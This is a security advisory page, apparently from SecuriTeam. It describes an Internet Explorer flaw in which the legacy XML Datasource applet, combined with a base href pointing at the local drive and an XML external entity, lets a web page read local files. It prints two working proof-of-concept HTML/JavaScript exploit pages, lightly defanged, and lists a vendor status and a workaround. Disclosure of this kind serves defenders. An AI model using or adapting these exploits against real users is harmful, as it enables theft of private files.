SecuriTeam - Internet Explorer Can Read Local Files (XML Datasource)

Security News - Security Reviews - Exploits - Tools - UNIX Focus - Windows Focus

Ask the Team
Mailing Lists
Advertising Info
Advisories
About SecuriTeam
Blogs

Brought to you by:

Suppliers of:

SecuriTeam in Your Inbox

New vulnerability?
New tool?
Tell us
(Our PGP key).

CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

There is a bug in Internet Explorer that allows reading and sending of local files. The problem lies in a legacy XML Datasource applet shipped with Internet Explorer since its 4.0 release.

Credit:
The information has been provided by Jelmer.

Website Security Scan	Code Vulnerability Test	Network Assessment Tool
Detect hidden vulnerabilities	Exhaustive automated testing	Real-time, continuous security
Get guidance from professionals	of internal or 3rd party code.	scanning for your entire network

Protect your website!
Use an External Vulnerability Scanner!
Nothing to install. First report in 1 hour!
www.beyondsecurity.com/vulnerability-scanner

it is used in a page like this

< applet code="com.ms.xml.dso.XMLDSO.class" width="0" height="0" id="xmldso" MAYSCRIPT="true">
< /applet>

If you add a < base href="file:///C:/"> tag to the head section, the applet will thinks it is codebase is local and allowing you to read local XML files. Therefore, this snippet will read c:\jelmer.xml

<html>
<head>
< base href="file:///C:/">
</head>
<body>
< applet code="com.ms.xml.dso.XMLDSO.class" width=100% height=50 id="xmldso" MAYSCRIPT="true">
  <PARAM NAME="url" VALUE="jelmer.xml">
</applet>
< scr!pt language="javascript">
  setTimeout("showIt()",2000);
  function showIt() {
   var jelmer = xmldso.getDocument();
   alert(jelmer.Text);
  }
</script>
</body>
</html>

(NOTE, the letter I has been replaced with an !)

Even though reading local XML files is bad enough, more can be done. XML has a feature called external entities that allows you to combine multiple files as one big file. This allows us to read text files as well, as shown by the following example:

<html>
<head>
< base href="file:///C:/">
</head>
<body>
< applet code="com.ms.xml.dso.XMLDSO.class" width="0" height="0" id="xmldso" MAYSCRIPT="true">
  <?xml version="1.0"?>
  <!DOCTYPE file [
    <!ELEMENT file (#PCDATA) >
    <!ENTITY contents SYSTEM "file:///C:/jelmer.txt">
  ]>
  <file>
  &contents;
  </file>
</applet>
< scr!pt language="javascript">
  setTimeout("showIt()",2000);
  function showIt() {
   var jelmer = xmldso.getDocument();
   alert(jelmer.Text);
  }
</script>
</body>
</html>

(NOTE, the letter I has been replaced with an !)

Demonstration:
A Demonstration of the issue described is available at: http://www.xs4all.nl/~jkuperus/msieread.htm (NOTE, this demonstration will try to read and display the contents of c:\jelmer.txt)

Vendor status:
Microsoft was notified on 17 August, Jelmer have yet to receive a reply.

Workaround:
Disable java all together or install the Sun JDK, since it does not seem to be affected: http://www.webdeveloper.com/html/html_xml_3.html

blog comments powered by Disqus

	Novell Zenworks Software Packaging LaunchHelp.dll Code Execution Vulnerability
	Novell ZENWorks Software Packaging Antique ActiveX Control Code Execution Vulnerability
	Microsoft Internet Explorer swapNode Handling Code Execution Vulnerability
	Microsoft Internet Explorer Select Element Insufficient Type Checking Code Execution Vulnerability
	Internet Explorer Select Element Cache Code Execution Vulnerability
	Microsoft Office Graph DataFormat Signed Index Code Execution Vulnerability
	Microsoft Office Excel Conditional Expression Ptg Type Confusion Vulnerability
	Microsoft Internet Explorer Protected Mode Bypass Vulnerability
	Microsoft Internet Explorer 9 STYLE Object Parsing Code Execution Vulnerability
	Microsoft Internet Explorer XSLT SetViewSlave Code Execution Vulnerability
	CA Total Defense Suite Gateway Security Malformed HTTP Packet Code Execution Vulnerability
	HP Easy Printer Care XMLSimpleAccessor Class ActiveX Control Code Execution Vulnerability
	TrendMicro Control Manager CASProcessor.exe BLOB Code Execution Vulnerability
	Symantec Veritas Storage Foundation vxsvc.exe Unicode Code Execution Vulnerability
	HP iNode Management Center iNodeMngChecker.exe Code Execution Vulnerability